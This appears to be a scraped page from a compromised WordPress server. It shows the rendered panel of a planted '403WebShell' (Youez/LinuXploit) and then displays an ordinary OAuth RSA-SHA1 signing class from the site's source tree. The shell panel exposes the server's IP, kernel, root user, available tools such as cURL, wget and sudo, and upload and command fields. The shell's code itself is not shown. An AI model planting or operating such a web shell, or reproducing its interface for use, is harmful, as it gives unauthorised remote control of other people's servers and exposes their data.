WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.174
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Util/OAuth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Util/OAuth/OAuthSignatureMethod_RSA_SHA1.php
<?php


namespace App\Util\OAuth;



use App\Util\OAuthSignatureMethod;

if(!class_exists("OAuthSignatureMethod_RSA_SHA1") ) {
    class OAuthSignatureMethod_RSA_SHA1 extends OAuthSignatureMethod {
        public function get_name() {
            return "RSA-SHA1";
        }

        protected function fetch_public_cert(&$request) {
            // not implemented yet, ideas are:
            // (1) do a lookup in a table of trusted certs keyed off of consumer
            // (2) fetch via http using a url provided by the requester
            // (3) some sort of specific discovery code based on request
            //
            // either way should return a string representation of the certificate
            throw Exception("fetch_public_cert not implemented");
        }

        protected function fetch_private_cert(&$request) {
            // not implemented yet, ideas are:
            // (1) do a lookup in a table of trusted certs keyed off of consumer
            //
            // either way should return a string representation of the certificate
            throw Exception("fetch_private_cert not implemented");
        }

        public function build_signature(&$request, $consumer, $token) {
            $base_string = $request->get_signature_base_string();
            $request->base_string = $base_string;

            // Fetch the private key cert based on the request
            $cert = $this->fetch_private_cert($request);

            // Pull the private key ID from the certificate
            $privatekeyid = openssl_get_privatekey($cert);

            // Sign using the key
            $ok = openssl_sign($base_string, $signature, $privatekeyid);

            // Release the key resource
            openssl_free_key($privatekeyid);

            return base64_encode($signature);
        }

        public function check_signature(&$request, $consumer, $token, $signature) {
            $decoded_sig = base64_decode($signature);

            $base_string = $request->get_signature_base_string();

            // Fetch the public key cert based on the request
            $cert = $this->fetch_public_cert($request);

            // Pull the public key ID from the certificate
            $publickeyid = openssl_get_publickey($cert);

            // Check the computed signature against the one passed in the query
            $ok = openssl_verify($base_string, $decoded_sig, $publickeyid);

            // Release the key resource
            openssl_free_key($publickeyid);

            return $ok == 1;
        }
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit